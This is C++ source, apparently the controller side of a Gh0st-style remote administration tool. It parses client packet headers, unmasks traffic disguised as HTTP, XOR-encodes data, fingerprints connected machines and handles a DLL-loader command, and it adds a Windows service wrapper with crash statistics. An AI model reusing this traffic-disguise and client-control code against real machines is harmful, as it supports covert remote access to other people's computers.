size_t end = headers.find("\r\n", pos);
if (end == std::string::npos)
return "";
std::string ip = headers.substr(pos, end - pos);
return ip;
}
PR Parse(CBuffer& buf, int& compressMethod, std::string &peer)
{
const int MinimumCount = MIN_COMLEN;
if (buf.GetBufferLength() < MinimumCount) {
return PR{ PARSER_NEEDMORE };
}
// UnMask
char* src = (char*)buf.GetBuffer();
ULONG srcSize = buf.GetBufferLength();
PkgMaskType maskType = m_bShouldUnmask ? MaskTypeUnknown : MaskTypeNone;
ULONG ret = m_bShouldUnmask ? TryUnMask(src, srcSize, maskType) : 0;
std::string str = buf.Skip(ret);
if (maskType == MaskTypeHTTP) {
m_bShouldUnmask = TRUE;
std::string clientIP = getXForwardedFor(str);
if (!clientIP.empty()) peer = clientIP;
} else {
m_bShouldUnmask = FALSE;
}
if (nullptr == m_Masker) {
m_Masker = maskType ? new HttpMask(peer) : new PkgMask();
}
if ((maskType && ret == 0) || (buf.GetBufferLength() <= MinimumCount))
return PR{ PARSER_NEEDMORE };
char szPacketFlag[32] = { 0 };
buf.CopyBuffer(szPacketFlag, MinimumCount, 0);
HeaderEncType encTyp = HeaderEncUnknown;
FlagType flagType = CheckHead(szPacketFlag, encTyp);
if (flagType == FLAG_UNKNOWN) {
// 数据长度 + 通信密码 [4字节启动时间+4个0字节+命令标识+系统位数标识]
const BYTE* ptr = (BYTE*)buf.GetBuffer(0), * p = ptr + 4;
int length = *((int*)ptr);
int excepted = buf.GetBufferLength();
if (length == excepted && length == 16 && p[4] == 0 && p[5] == 0 &&
p[6] == 0 && p[7] == 0 && p[8] == 202 && (p[9] == 0 || p[9] == 1)) {
m_nFlagType = FLAG_WINOS;
compressMethod = COMPRESS_NONE;
memcpy(m_szPacketFlag, p, 10); // 通信密码
m_nCompareLen = 0;
m_nFlagLen = 0;
m_nHeaderLen = 14;
m_bParsed = TRUE;
m_Encoder = new Encoder();
m_Encoder2 = new WinOsEncoder();
return PR{ PARSER_WINOS };
}
return PR{ PARSER_FAILED };
}
if (m_bParsed) { // Check if the header has been parsed.
return memcmp(m_szPacketFlag, szPacketFlag, m_nCompareLen) == 0 ? PR{ m_nFlagLen } : PR{ PARSER_FAILED };
}
// More version may be added in the future.
switch (m_nFlagType = flagType) {
case FLAG_UNKNOWN:
return PR{ PARSER_FAILED };
case FLAG_SHINE:
memcpy(m_szPacketFlag, szPacketFlag, 5);
m_nCompareLen = 5;
m_nFlagLen = m_nCompareLen;
m_nHeaderLen = m_nFlagLen + 8;
m_bParsed = TRUE;
assert(NULL==m_Encoder);
assert(NULL==m_Encoder2);
m_Encoder = new Encoder();
m_Encoder2 = new Encoder();
break;
case FLAG_FUCK:
memcpy(m_szPacketFlag, szPacketFlag, 8);
m_nCompareLen = 8;
m_nFlagLen = m_nCompareLen + 3;
m_nHeaderLen = m_nFlagLen + 8;
m_bParsed = TRUE;
m_Encoder = new XOREncoder();
m_Encoder2 = new Encoder();
break;
case FLAG_HELLO:
// This header is only for handling SOCKET_DLLLOADER command
memcpy(m_szPacketFlag, szPacketFlag, 8);
m_nCompareLen = 6;
m_nFlagLen = 8;
m_nHeaderLen = m_nFlagLen + 8;
m_bParsed = TRUE;
compressMethod = COMPRESS_NONE;
m_Encoder = new Encoder();
m_Encoder2 = new XOREncoder16();
break;
case FLAG_HELL:
// This version
memcpy(m_szPacketFlag, szPacketFlag, 8);
m_nCompareLen = FLAG_COMPLEN;
m_nFlagLen = FLAG_LENGTH;
m_nHeaderLen = m_nFlagLen + 8;
m_bParsed = TRUE;
m_Encoder = new Encoder();
m_Encoder2 = new XOREncoder16();
break;
default:
break;
}
return PR{ m_nFlagLen };
}
BOOL IsEncodeHeader() const
{
return m_nFlagType == FLAG_HELLO || m_nFlagType == FLAG_HELL;
}
HeaderParser& Reset()
{
m_bShouldUnmask = -1;
if (m_Masker) {
m_Masker->Destroy();
m_Masker = nullptr;
}
SAFE_DELETE(m_Encoder);
SAFE_DELETE(m_Encoder2);
m_bParsed = FALSE;
m_nHeaderLen = m_nCompareLen = m_nFlagLen = 0;
m_nFlagType = FLAG_UNKNOWN;
memset(m_szPacketFlag, 0, sizeof(m_szPacketFlag));
return *this;
}
BOOL IsParsed() const
{
return m_bParsed;
}
int GetFlagLen() const
{
return m_nFlagLen;
}
int GetHeaderLen() const
{
return m_nHeaderLen;
}
const char* GetFlag() const
{
return m_szPacketFlag;
}
FlagType GetFlagType() const
{
return m_nFlagType;
}
Encoder* GetEncoder() const
{
return m_Encoder;
}
Encoder* GetEncoder2() const
{
return m_Encoder2;
}
private:
BOOL m_bParsed; // 数据包是否可以解析
int m_nHeaderLen; // 数据包的头长度
int m_nCompareLen; // 比对字节数
int m_nFlagLen; // 标识长度
FlagType m_nFlagType; // 标识类型
char m_szPacketFlag[32]; // 对比信息
Encoder* m_Encoder; // 编码器
Encoder* m_Encoder2; // 编码器2
PkgMask* m_Masker;
int m_bShouldUnmask;
};
enum IOType {
IOInitialize,
IORead,
IOWrite,
IOIdle
};
#define TRACK_OVERLAPPEDPLUS 0
class OVERLAPPEDPLUS
{
public:
OVERLAPPED m_ol;
IOType m_ioType;
OVERLAPPEDPLUS(IOType ioType)
{
#if TRACK_OVERLAPPEDPLUS
char szLog[100];
sprintf_s(szLog, "=> [new] OVERLAPPEDPLUS %p by thread [%d].\n", this, GetCurrentThreadId());
Mprintf(szLog);
#endif
ZeroMemory(this, sizeof(OVERLAPPEDPLUS));
m_ioType = ioType;
}
~OVERLAPPEDPLUS()
{
#if TRACK_OVERLAPPEDPLUS
char szLog[100];
sprintf_s(szLog, "=> [delete] OVERLAPPEDPLUS %p by thread [%d].\n", this, GetCurrentThreadId());
Mprintf(szLog);
#endif
}
};
class CONTEXT_OBJECT;
typedef BOOL (CALLBACK* pfnNotifyProc)(CONTEXT_OBJECT* ContextObject);
typedef BOOL (CALLBACK* pfnOfflineProc)(CONTEXT_OBJECT* ContextObject);
class Server
{
public:
friend class CONTEXT_OBJECT;
Server() {}
virtual ~Server() {}
virtual int GetPort() const = 0;
virtual UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) = 0;
virtual BOOL Send2Client(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) = 0;
virtual void UpdateMaxConnection(int maxConn) {}
virtual void Destroy() {}
virtual void Disconnect(CONTEXT_OBJECT* ctx) {}
};
// 预分配解压缩缓冲区大小
#define PREALLOC_DECOMPRESS_SIZE (4 * 1024)
#include "context.h"
typedef class CONTEXT_OBJECT : public context
{
public:
virtual ~CONTEXT_OBJECT()
{
if (kcp) {
ikcp_release(kcp);
kcp = nullptr;
}
FreeDecompressBuffer();
FreeCompressBuffer();
FreeSendCompressBuffer();
if (Zcctx) {
ZSTD_freeCCtx(Zcctx);
Zcctx = nullptr;
}
}
virtual void SetLastHeartbeat(uint64_t time) override
{
LastHeartbeatTime = time;
}
virtual uint64_t GetLastHeartbeat() override
{
return LastHeartbeatTime;
}
CString sClientInfo[ONLINELIST_MAX];
CString additonalInfo[RES_MAX];
SOCKET sClientSocket;
WSABUF wsaInBuf;
WSABUF wsaOutBuffer;
char szBuffer[PACKET_LENGTH];
CBuffer InCompressedBuffer; // 接收到的压缩的数据
CBuffer InDeCompressedBuffer; // 解压后的数据
CBuffer OutCompressedBuffer;
HANDLE hDlg; // 对话框指针
HWND hWnd; // 对话框窗口
OVERLAPPEDPLUS* olps; // OVERLAPPEDPLUS
int CompressMethod; // 压缩算法
HeaderParser Parser; // 解析数据协议
uint64_t ID; // 唯一标识
BOOL m_bProxyConnected; // 代理是否连接
std::string MasterID; // 所属主控ID
std::string PeerName; // 对端IP
Server* server; // 所属服务端
ikcpcb* kcp = nullptr; // 新增指向KCP会话
std::string GroupName; // 分组名称
CLock SendLock; // fix #214
time_t OnlineTime = 0; // 上线时间
time_t LastHeartbeatTime = 0; // 最后心跳时间
// 引用计数:跟踪正在处理此对象的工作线程数量,防止竞态条件 (#215)
std::atomic<int> IoRefCount{0}; // I/O 处理引用计数
std::atomic<bool> IsRemoved{false}; // 标记是否已被标记为移除
// 预分配的解压缩缓冲区,避免频繁内存分配
PBYTE DecompressBuffer = nullptr;
ULONG DecompressBufferSize = 0;
// 预分配的压缩数据缓冲区(接收时解压前)
PBYTE CompressBuffer = nullptr;
ULONG CompressBufferSize = 0;
// 预分配的发送压缩缓冲区(发送时压缩后)
PBYTE SendCompressBuffer = nullptr;
ULONG SendCompressBufferSize = 0;
int CompressLevel = ZSTD_CLEVEL_DEFAULT;
ZSTD_CCtx* Zcctx = nullptr;
void EnableZstdContext(int level = ZSTD_CLEVEL_DEFAULT)
{
CAutoCLock L(SendLock);
CompressLevel = level;
if (Zcctx == nullptr) {
Zcctx = ZSTD_createCCtx();
ZSTD_CCtx_setParameter(Zcctx, ZSTD_c_compressionLevel, level);
}
}
void SetCompressionLevel(int level)
{
CAutoCLock L(SendLock);
CompressLevel = level;
if (Zcctx) {
ZSTD_CCtx_setParameter(Zcctx, ZSTD_c_compressionLevel, level);
}
}
int GetZstdLevel() const
{
return CompressLevel;
}
// 获取或分配解压缩缓冲区
PBYTE GetDecompressBuffer(ULONG requiredSize)
{
if (DecompressBuffer == nullptr || DecompressBufferSize < requiredSize) {
FreeDecompressBuffer();
// 分配时预留一些余量,减少重新分配次数
DecompressBufferSize = max(requiredSize, PREALLOC_DECOMPRESS_SIZE);
DecompressBuffer = new BYTE[DecompressBufferSize];
}
return DecompressBuffer;
}
void FreeDecompressBuffer()
{
if (DecompressBuffer) {
delete[] DecompressBuffer;
DecompressBuffer = nullptr;
DecompressBufferSize = 0;
}
}
// 获取或分配压缩数据缓冲区(用于接收时存放解压前的数据)
PBYTE GetCompressBuffer(ULONG requiredSize)
{
if (CompressBuffer == nullptr || CompressBufferSize < requiredSize) {
FreeCompressBuffer();
CompressBufferSize = max(requiredSize, PREALLOC_DECOMPRESS_SIZE);
CompressBuffer = new BYTE[CompressBufferSize];
}
return CompressBuffer;
}
void FreeCompressBuffer()
{
if (CompressBuffer) {
delete[] CompressBuffer;
CompressBuffer = nullptr;
CompressBufferSize = 0;
}
}
// 获取或分配发送用压缩缓冲区(用于发送时存放压缩后的数据)
PBYTE GetSendCompressBuffer(ULONG requiredSize)
{
if (SendCompressBuffer == nullptr || SendCompressBufferSize < requiredSize) {
FreeSendCompressBuffer();
SendCompressBufferSize = max(requiredSize, PREALLOC_DECOMPRESS_SIZE);
SendCompressBuffer = new BYTE[SendCompressBufferSize];
}
return SendCompressBuffer;
}
void FreeSendCompressBuffer()
{
if (SendCompressBuffer) {
delete[] SendCompressBuffer;
SendCompressBuffer = nullptr;
SendCompressBufferSize = 0;
}
}
std::string GetProtocol() const override
{
return Parser.m_Masker && Parser.m_Masker->GetMaskType() == MaskTypeNone ? "TCP" : "HTTP";
}
int GetServerPort() const override
{
return server->GetPort();
}
VOID InitMember(SOCKET s, VOID*svr)
{
memset(szBuffer, 0, sizeof(char) * PACKET_LENGTH);
hDlg = NULL;
hWnd = NULL;
sClientSocket = s;
PeerName = ::GetPeerName(sClientSocket);
memset(&wsaInBuf, 0, sizeof(WSABUF));
memset(&wsaOutBuffer, 0, sizeof(WSABUF));
olps = NULL;
for (int i = 0; i < ONLINELIST_MAX; i++) {
sClientInfo[i].Empty();
}
for (int i = 0; i < RES_MAX; i++) {
additonalInfo[i].Empty();
}
CompressMethod = COMPRESS_ZSTD;
Parser.Reset();
MasterID.clear();
m_bProxyConnected = FALSE;
server = (Server*)svr;
OnlineTime = time(0);
LastHeartbeatTime = OnlineTime;
GroupName.clear();
ID = 0;
// 重置引用计数和移除标志 (#215)
// 顺序重要:先确保 IsRemoved=false允许新的 I/O 处理),再重置 IoRefCount
// 注意到达这里时RemoveStaleContext 应该已经等待 IoRefCount==0
IsRemoved.store(false, std::memory_order_release);
IoRefCount.store(0, std::memory_order_release);
}
uint64_t GetAliveTime()const
{
return time(0) - OnlineTime;
}
Server* GetServer()
{
return server;
}
BOOL Send2Client(PBYTE szBuffer, ULONG ulOriginalLength) override
{
if (server) {
CAutoCLock L(SendLock);
return server->Send2Client(this, szBuffer, ulOriginalLength);
}
return FALSE;
}
VOID SetClientInfo(const CString(&s)[ONLINELIST_MAX], const std::vector<std::string>& a = {})
{
for (int i = 0; i < ONLINELIST_MAX; i++) {
sClientInfo[i] = s[i];
}
for (int i = 0; i < a.size() && i < RES_MAX; i++) {
additonalInfo[i] = a[i].c_str();
}
}
PBYTE GetBuffer(int offset)
{
return InDeCompressedBuffer.GetBuffer(offset);
}
ULONG GetBufferLength()
{
return InDeCompressedBuffer.GetBufferLength();
}
virtual std::string GetPeerName() const
{
return PeerName;
}
void SetPeerName(const std::string& peer)
{
PeerName = peer;
}
virtual int GetPort() const
{
// 第一次返回套接字,后续返回地址栏端口号
if (sClientInfo[ONLINELIST_ADDR].IsEmpty())
return sClientSocket;
return atoi(sClientInfo[ONLINELIST_ADDR]);
}
CString GetClientData(int index) const override
{
return sClientInfo[index];
}
void SetClientData(int index, const CString& data ) {
if (index < ONLINELIST_MAX) {
sClientInfo[index] = data;
}
}
void GetAdditionalData(CString(&s)[RES_MAX]) const override
{
for (int i = 0; i < RES_MAX; i++) {
s[i] = additonalInfo[i];
}
}
CString GetAdditionalData(int index) const override
{
return additonalInfo[index];
}
void SetAdditionalData(int index, const std::string &value)
{
if (index >= 0 && index < RES_MAX) {
additonalInfo[index] = value.c_str();
}
}
std::string GetGroupName() const override
{
return GroupName;
}
virtual void SetGroupName(const std::string& group)override
{
GroupName = group;
}
BOOL IsLogin() const override
{
return true;
}
virtual std::string GetMasterID() const override {
return MasterID;
}
uint64_t GetClientID() const override
{
return ID;
}
void CancelIO() override
{
SAFE_CANCELIO(sClientSocket);
}
BOOL CopyBuffer(PVOID pDst, ULONG nLen, ULONG ulPos)
{
return InDeCompressedBuffer.CopyBuffer(pDst, nLen, ulPos);
}
BYTE GetBYTE(int offset)
{
return InDeCompressedBuffer.GetBYTE(offset);
}
virtual FlagType GetFlagType() const override
{
return Parser.m_nFlagType;
}
// Write compressed buffer.
void WriteBuffer(LPBYTE data, ULONG dataLen, ULONG originLen, int cmd = -1)
{
if (Parser.IsParsed()) {
ULONG totalLen = dataLen + Parser.GetHeaderLen();
BYTE szPacketFlag[32] = {};
const int flagLen = Parser.GetFlagLen();
memcpy(szPacketFlag, Parser.GetFlag(), flagLen);
if (Parser.IsEncodeHeader())
encrypt(szPacketFlag, FLAG_COMPLEN, szPacketFlag[flagLen - 2]);
CBuffer buf;
buf.WriteBuffer((LPBYTE)szPacketFlag, flagLen);
buf.WriteBuffer((PBYTE)&totalLen, sizeof(ULONG));
if (Parser.GetFlagType() == FLAG_WINOS) {
memcpy(szPacketFlag, Parser.GetFlag(), 10);
buf.WriteBuffer((PBYTE)Parser.GetFlag(), 10);
} else {
buf.WriteBuffer((PBYTE)&originLen, sizeof(ULONG));
InDeCompressedBuffer.CopyBuffer(szPacketFlag + flagLen, 16, 16);
}
Encode2(data, dataLen, szPacketFlag);
buf.WriteBuffer(data, dataLen);
// Mask
char* src = (char*)buf.GetBuffer(), *szBuffer = nullptr;
ULONG ulLength = 0;
Parser.m_Masker->Mask(szBuffer, ulLength, src, buf.GetBufferLen(), cmd);
OutCompressedBuffer.WriteBuffer((LPBYTE)szBuffer, ulLength);
if (szBuffer != src)
SAFE_DELETE_ARRAY(szBuffer);
}
}
// Read compressed buffer. 使用预分配缓冲区,避免频繁内存分配
PBYTE ReadBuffer(ULONG& dataLen, ULONG& originLen)
{
if (Parser.IsParsed()) {
ULONG totalLen = 0;
BYTE szPacketFlag[32] = {};
InCompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, Parser.GetFlagLen());
InCompressedBuffer.ReadBuffer((PBYTE)&totalLen, sizeof(ULONG));
if (Parser.GetFlagType() == FLAG_WINOS) {
InCompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, 10);
} else {
InCompressedBuffer.ReadBuffer((PBYTE)&originLen, sizeof(ULONG));
}
dataLen = totalLen - Parser.GetHeaderLen();
// 使用预分配缓冲区替代每次 new
PBYTE CompressedBuffer = GetCompressBuffer(dataLen);
InCompressedBuffer.ReadBuffer(CompressedBuffer, dataLen);
Decode2(CompressedBuffer, dataLen, szPacketFlag);
return CompressedBuffer;
}
return nullptr;
}
// Parse the data to make sure it's from a supported client. The length of `Header Flag` will be returned.
PR Parse(CBuffer& buf)
{
return Parser.Parse(buf, CompressMethod, PeerName);
}
void Encode(PBYTE data, int len, const bool &flag) const
{
flag ? (len > 1 ? data[1] ^= 0x2B : 0x2B == 0x2B) : 0x2B == 0x2B;
}
// Encode data before compress.
void Encode(PBYTE data, int len) const
{
auto enc = Parser.GetEncoder();
if (enc) enc->Encode((unsigned char*)data, len);
}
// Decode data after uncompress.
void Decode(PBYTE data, int len) const
{
auto enc = Parser.GetEncoder();
if (enc) enc->Decode((unsigned char*)data, len);
}
// Encode data after compress.
void Encode2(PBYTE data, int len, PBYTE param) const
{
auto enc = Parser.GetEncoder2();
if (enc) enc->Encode((unsigned char*)data, len, param);
}
// Decode data before uncompress.
void Decode2(PBYTE data, int len, PBYTE param) const
{
auto enc = Parser.GetEncoder2();
if (enc) enc->Decode((unsigned char*)data, len, param);
}
static uint64_t CalculateID(const CString(&data)[ONLINELIST_MAX])
{
int idx[] = { ONLINELIST_PUBIP, ONLINELIST_COMPUTER_NAME, ONLINELIST_OS, ONLINELIST_CPU, ONLINELIST_PATH, };
CString s;
for (int i = 0; i < 5; i++) {
s += data[idx[i]] + "|";
}
s.Delete(s.GetLength() - 1);
return XXH64(s.GetString(), s.GetLength(), 0);
}
void SetID(uint64_t id)
{
ID = id;
}
void SetGroup(const std::string& group)
{
GroupName = group;
}
void SetNoDelay(BOOL bNoDelay = TRUE)
{
setsockopt(sClientSocket, IPPROTO_TCP, TCP_NODELAY, (char*)&bNoDelay, sizeof(BOOL));
}
} CONTEXT_OBJECT, * PCONTEXT_OBJECT;
typedef CList<PCONTEXT_OBJECT> ContextObjectList;
class CONTEXT_UDP : public CONTEXT_OBJECT
{
public:
int addrLen = 0;
sockaddr_in clientAddr = {};
CONTEXT_UDP()
{
}
virtual ~CONTEXT_UDP()
{
}
std::string GetProtocol() const override
{
return "UDP";
}
VOID InitMember(SOCKET s, VOID* svr) override
{
CONTEXT_OBJECT::InitMember(s, svr);
clientAddr = {};
addrLen = sizeof(sockaddr_in);
}
void Destroy() override
{
delete this;
}
virtual std::string GetPeerName() const override
{
char client_ip[INET_ADDRSTRLEN];
#if (defined(_WIN32_WINNT) && _WIN32_WINNT <= 0x0501)
strncpy(client_ip, inet_ntoa(clientAddr.sin_addr), INET_ADDRSTRLEN - 1);
client_ip[INET_ADDRSTRLEN - 1] = '\0';
#else
inet_ntop(AF_INET, &clientAddr.sin_addr, client_ip, INET_ADDRSTRLEN);
#endif
return client_ip;
}
virtual int GetPort() const override
{
int client_port = ntohs(clientAddr.sin_port);
return client_port;
}
};

View File

@@ -0,0 +1,635 @@
#include "stdafx.h"
#include "ServerServiceWrapper.h"
#include "ServerSessionMonitor.h"
#include "CrashReport.h"
#include <stdio.h>
#include <winsvc.h>
#include "2015Remote.h"
// 静态变量
static SERVICE_STATUS g_ServiceStatus;
static SERVICE_STATUS_HANDLE g_StatusHandle = NULL;
static HANDLE g_StopEvent = INVALID_HANDLE_VALUE;
// 前向声明
static void WINAPI ServiceMain(DWORD argc, LPTSTR* argv);
static void WINAPI ServiceCtrlHandler(DWORD ctrlCode);
// 代理启动回调:记录启动次数
static void OnAgentStart(DWORD processId, DWORD sessionId)
{
// 递增启动次数
int startCount = THIS_CFG.GetInt(CFG_CRASH_SECTION, CFG_CRASH_STARTS, 0) + 1;
THIS_CFG.SetInt(CFG_CRASH_SECTION, CFG_CRASH_STARTS, startCount);
char buf[128];
sprintf_s(buf, sizeof(buf), "Agent started: PID=%d, Session=%d, totalStarts=%d",
(int)processId, (int)sessionId, startCount);
Mprintf(buf);
}
// 代理退出回调:累计运行时间(用于 MTBF 计算)
static void OnAgentExit(DWORD exitCode, ULONGLONG runtimeMs)
{
// 累加总运行时间
// 注意:使用字符串存储 64 位整数,避免 GetInt/SetInt 的 32 位限制
char totalStr[32];
ULONGLONG totalRuntime = 0;
std::string storedTotal = THIS_CFG.GetStr(CFG_CRASH_SECTION, CFG_CRASH_TOTAL_RUN_MS, "0");
totalRuntime = _strtoui64(storedTotal.c_str(), NULL, 10);
totalRuntime += runtimeMs;
sprintf_s(totalStr, sizeof(totalStr), "%llu", totalRuntime);
THIS_CFG.SetStr(CFG_CRASH_SECTION, CFG_CRASH_TOTAL_RUN_MS, totalStr);
// 格式化运行时间
char runtimeStr[64];
FormatRuntime(totalRuntime, runtimeStr, sizeof(runtimeStr));
// 计算 MTBF如果有崩溃记录
int crashCount = THIS_CFG.GetInt(CFG_CRASH_SECTION, CFG_CRASH_COUNT, 0);
int startCount = THIS_CFG.GetInt(CFG_CRASH_SECTION, CFG_CRASH_STARTS, 0);
char buf[256];
if (crashCount > 0) {
ULONGLONG mtbf = CalculateMTBF(totalRuntime, crashCount);
char mtbfStr[64];
FormatRuntime(mtbf, mtbfStr, sizeof(mtbfStr));
double failureRate = CalculateFailureRate(crashCount, startCount);
sprintf_s(buf, sizeof(buf),
"Agent exited: code=0x%08X, runtime=%llums, totalRuntime=%s, MTBF=%s, failureRate=%.2f%%",
exitCode, runtimeMs, runtimeStr, mtbfStr, failureRate * 100);
} else {
sprintf_s(buf, sizeof(buf),
"Agent exited: code=0x%08X, runtime=%llums, totalRuntime=%s (no crashes yet)",
exitCode, runtimeMs, runtimeStr);
}
Mprintf(buf);
}
// 崩溃统计回调:记录崩溃次数、时间和退出代码
static void OnAgentCrash(DWORD exitCode, ULONGLONG runtimeMs)
{
// 递增总崩溃次数
int totalCrashes = THIS_CFG.GetInt(CFG_CRASH_SECTION, CFG_CRASH_COUNT, 0) + 1;
THIS_CFG.SetInt(CFG_CRASH_SECTION, CFG_CRASH_COUNT, totalCrashes);
// 记录最后崩溃时间
char timeStr[32];
SYSTEMTIME st;
GetLocalTime(&st);
sprintf_s(timeStr, sizeof(timeStr), "%04d-%02d-%02d %02d:%02d:%02d",
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
THIS_CFG.SetStr(CFG_CRASH_SECTION, CFG_CRASH_LAST_TIME, timeStr);
// 记录退出代码
char exitCodeStr[64];
const char* desc = GetExitCodeDescription(exitCode);
if (desc) {
sprintf_s(exitCodeStr, sizeof(exitCodeStr), "0x%08X (%s)", exitCode, desc);
} else {
sprintf_s(exitCodeStr, sizeof(exitCodeStr), "0x%08X", exitCode);
}
THIS_CFG.SetStr(CFG_CRASH_SECTION, CFG_CRASH_LAST_CODE, exitCodeStr);
// 记录运行时间(毫秒)- 使用字符串存储 64 位值
char runtimeStr[32];
sprintf_s(runtimeStr, sizeof(runtimeStr), "%llu", runtimeMs);
THIS_CFG.SetStr(CFG_CRASH_SECTION, CFG_CRASH_LAST_RUN_MS, runtimeStr);
char buf[256];
sprintf_s(buf, sizeof(buf), "Agent crash recorded: total=%d, time=%s, exitCode=%s, runtime=%llums",
totalCrashes, timeStr, exitCodeStr, runtimeMs);
Mprintf(buf);
}
// 崩溃窗口状态变化回调:持久化崩溃窗口状态
static void OnCrashWindowChange(int crashCount, ULONGLONG firstCrashTime)
{
THIS_CFG.SetInt(CFG_CRASH_SECTION, CFG_CRASH_WIN_COUNT, crashCount);
// 使用字符串存储 64 位时间戳
char timeStr[32];
sprintf_s(timeStr, sizeof(timeStr), "%llu", firstCrashTime);
THIS_CFG.SetStr(CFG_CRASH_SECTION, CFG_CRASH_WIN_START, timeStr);
char buf[128];
sprintf_s(buf, sizeof(buf), "Crash window state saved: count=%d, startTime=%llu", crashCount, firstCrashTime);
Mprintf(buf);
}
// 崩溃保护回调:写入保护标志
// 注意:不在这里停止服务,由 MonitorLoop 检测 crashProtected 后自动退出
static void OnAgentCrashProtection(void)
{
THIS_CFG.SetInt(CFG_CRASH_SECTION, CFG_CRASH_PROTECTED, 1);
// 切换到正常模式,避免用户无法启动程序
THIS_CFG.SetInt("settings", "RunNormal", 1);
// 清除崩溃窗口状态(保护已触发,不需要再保持窗口状态)
THIS_CFG.SetInt(CFG_CRASH_SECTION, CFG_CRASH_WIN_COUNT, 0);
THIS_CFG.SetStr(CFG_CRASH_SECTION, CFG_CRASH_WIN_START, "0");
Mprintf("Crash protection triggered: switched to normal mode");
}
BOOL ServerService_CheckStatus(BOOL* registered, BOOL* running,
char* exePath, size_t exePathSize)
{
*registered = FALSE;
*running = FALSE;
if (exePath && exePathSize > 0) {
exePath[0] = '\0';
}
// 打开 SCM
SC_HANDLE hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT);
if (!hSCM) {
return FALSE;
}
// 打开服务
SC_HANDLE hService = OpenServiceA(
hSCM,
SERVER_SERVICE_NAME,
SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG);
if (!hService) {
CloseServiceHandle(hSCM);
return FALSE; // 未注册
}
*registered = TRUE;
// 获取服务状态
SERVICE_STATUS_PROCESS ssp;
DWORD bytesNeeded = 0;
memset(&ssp, 0, sizeof(ssp));
if (QueryServiceStatusEx(
hService,
SC_STATUS_PROCESS_INFO,
(LPBYTE)&ssp,
sizeof(SERVICE_STATUS_PROCESS),
&bytesNeeded)) {
*running = (ssp.dwCurrentState == SERVICE_RUNNING);
}
// 获取 EXE 路径
if (exePath && exePathSize > 0) {
DWORD bufSize = 0;
QueryServiceConfigA(hService, NULL, 0, &bufSize);
if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) {
LPQUERY_SERVICE_CONFIGA pConfig = (LPQUERY_SERVICE_CONFIGA)malloc(bufSize);
if (pConfig) {
if (QueryServiceConfigA(hService, pConfig, bufSize, &bufSize)) {
strncpy_s(exePath, exePathSize, pConfig->lpBinaryPathName, _TRUNCATE);
}
free(pConfig);
}
}
}
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
return TRUE;
}
int ServerService_StartSimple(void)
{
// 打开SCM
SC_HANDLE hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT);
if (!hSCM) {
return (int)GetLastError();
}
// 打开服务并启动
SC_HANDLE hService = OpenServiceA(hSCM, SERVER_SERVICE_NAME, SERVICE_START);
if (!hService) {
int err = (int)GetLastError();
CloseServiceHandle(hSCM);
return err;
}
// 启动服务
BOOL ok = StartServiceA(hService, 0, NULL);
int err = ok ? ERROR_SUCCESS : (int)GetLastError();
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
return err;
}
int ServerService_Run(void)
{
SERVICE_TABLE_ENTRY ServiceTable[2];
ServiceTable[0].lpServiceName = (LPSTR)SERVER_SERVICE_NAME;
ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;
ServiceTable[1].lpServiceName = NULL;
ServiceTable[1].lpServiceProc = NULL;
Mprintf("========================================");
Mprintf("ServerService_Run() called");
if (StartServiceCtrlDispatcher(ServiceTable) == FALSE) {
DWORD err = GetLastError();
char buffer[256];
sprintf_s(buffer, sizeof(buffer), "StartServiceCtrlDispatcher failed: %d", (int)err);
Mprintf(buffer);
return (int)err;
}
return ERROR_SUCCESS;
}
int ServerService_Stop(void)
{
// 打开SCM
SC_HANDLE hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT);
if (!hSCM) {
return (int)GetLastError();
}
// 打开服务
SC_HANDLE hService = OpenServiceA(hSCM, SERVER_SERVICE_NAME, SERVICE_STOP | SERVICE_QUERY_STATUS);
if (!hService) {
int err = (int)GetLastError();
CloseServiceHandle(hSCM);
return err;
}
// 查询当前状态
SERVICE_STATUS status;
if (!QueryServiceStatus(hService, &status)) {
int err = (int)GetLastError();
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
return err;
}
// 如果服务未运行,直接返回成功
if (status.dwCurrentState == SERVICE_STOPPED) {
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
return ERROR_SUCCESS;
}
// 发送停止控制命令
if (!ControlService(hService, SERVICE_CONTROL_STOP, &status)) {
DWORD err = GetLastError();
if (err != ERROR_SERVICE_NOT_ACTIVE) {
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
return (int)err;
}
}
// 等待服务停止最多30秒
int waitCount = 0;
while (status.dwCurrentState != SERVICE_STOPPED && waitCount < 30) {
Sleep(1000);
waitCount++;
if (!QueryServiceStatus(hService, &status)) {
break;
}
}
int result = (status.dwCurrentState == SERVICE_STOPPED) ? ERROR_SUCCESS : ERROR_TIMEOUT;
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
return result;
}
static void WINAPI ServiceMain(DWORD argc, LPTSTR* argv)
{
(void)argc;
(void)argv;
Mprintf("ServiceMain() called");
g_StatusHandle = RegisterServiceCtrlHandler(
SERVER_SERVICE_NAME,
ServiceCtrlHandler
);
if (g_StatusHandle == NULL) {
Mprintf("RegisterServiceCtrlHandler failed");
return;
}
ZeroMemory(&g_ServiceStatus, sizeof(g_ServiceStatus));
g_ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
g_ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
g_ServiceStatus.dwControlsAccepted = 0;
g_ServiceStatus.dwWin32ExitCode = 0;
g_ServiceStatus.dwServiceSpecificExitCode = 0;
g_ServiceStatus.dwCheckPoint = 0;
g_ServiceStatus.dwWaitHint = 0;
SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
g_StopEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
if (g_StopEvent == NULL) {
Mprintf("CreateEvent failed");
